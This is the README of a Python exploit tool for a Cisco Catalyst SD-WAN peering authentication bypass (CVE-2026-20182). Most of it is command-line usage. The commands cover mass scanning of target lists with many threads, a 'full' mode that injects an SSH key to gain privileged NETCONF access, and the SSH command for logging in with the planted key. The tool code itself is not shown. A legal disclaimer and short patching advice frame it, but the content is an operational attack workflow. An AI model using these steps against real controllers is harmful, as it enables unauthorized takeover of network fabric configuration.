CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentication Bypass

CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentication Bypass

Assessment tool for authorized testing of Cisco Catalyst SD-WAN Controller / Manager peering authentication bypass (CVE-2026-20182).

Vulnerability Summary

May 2026 advisory: A flaw in control-connection handshaking / peering authentication allows an unauthenticated remote attacker to bypass authentication and obtain high-privileged internal access on affected systems.

An attacker sends crafted requests to the affected system. On success, the attacker may authenticate as an internal, high-privileged, non-root account and reach NETCONF, enabling manipulation of SD-WAN fabric configuration.

Recommendation: Apply Cisco security fixes per official vendor guidance. Restrict management plane exposure, monitor control-plane connections, and audit SD-WAN controllers for unauthorized configuration changes.

Contact

Telegram: @KNxploited

Console Preview

Tool: CVE-2026-20182.py

Python 3 exploit framework for CVE-2026-20182 against Cisco SD-WAN vdaemon (UDP/DTLS 12346).

What it does (step by step)

Fabric fallback: On TEAR_DOWN or param mismatch, retries alternate domain/site presets (1,100), (1,1), (0,0) unless --no-fallback.

Result Tiers (read carefully)

Important

• check mode → tier 03 at best (bypass probe). Not full exploitation proof.
• full mode → aim for tier 01 (ssh_verified).
• https://host in list → TCP web hint only (80/443). Not UDP DTLS on 443.

Requirements

pip install -r requirements.txt

OpenSSL (system)

Windows

1. Install Win64 OpenSSL 3.x or equivalent
2. Add bin\ to PATH, or set:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

The tool exits at startup if OpenSSL cannot be loaded.

Quick Start

Interactive menu (default)

python CVE-2026-20182.py

• Configure options 1–11, then 0 = LAUNCH SCAN
• Default run mode: check (safe bypass probe)

Non-interactive (automation)

python CVE-2026-20182.py -y

Run Modes

CHECK — bypass probe only

python CVE-2026-20182.py -y --mode check

FULL — inject key + verify SSH (authorized targets only)

python CVE-2026-20182.py -y --mode full

CLI Reference (every flag + example)

Targets & workers

-f / --file — targets list (default: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — worker threads (1–200, default 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — default DOMAIN_ID when not in list (default: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — default SITE_ID when not in list (default: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Mode & automation

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — skip interactive menu; use CLI values only

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH verification

--no-ssh-verify — skip post-inject SSH test (not recommended in full mode)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — also try TCP 22 after 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / fabric

--no-try-list-udp — only UDP 12346; ignore :port from list

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — lab: extra UDP ports on every host

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — disable domain/site retry on TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Logging

-v / --verbose — log each protocol TX/RX message

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Interactive Menu (when -y is omitted)

targets.txt Format

One target per line. Lines starting with # are ignored.

Example file

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Not supported: IPv6 (IPv4 / hostname only).

Output Files

Example SSH command (tier 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Recommended Workflows

1) Screen many hosts (fast)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Review cisco_sdwan_03_bypass_only.jsonl and live stats Bypass only.

2) Confirm exploit on shortlisted hosts

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Review cisco_sdwan_01_confirmed_ssh.jsonl — only file with ssh_verified: true.

3) Debug single host (verbose)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Live Telemetry (during scan)

Operational Notes

• Default mode is check — does not write keys or prove SSH by itself.
• Real success = ssh_verified=true in full mode only.
• Patched / wrong fabric → often TEAR_DOWN after CHALLENGE_ACK; enable fabric fallback or fix domain/site in list.
• Firewall must allow UDP/12346 (and any extra list UDP ports) from your scanner to the controller.
• Do not commit sdwan_keys/ or scan results to public repositories.

Legal Disclaimer

This software is for authorized security research, defensive assessment, and education only.

You must have explicit written permission to test any system you do not own or operate. Unauthorized access to computer systems is illegal. The author is not responsible for misuse, damage, or legal consequences arising from use of this tool.

Use only on systems and networks where you are explicitly authorized to perform security testing.

By: Nxploited ( Khaled Alenazi )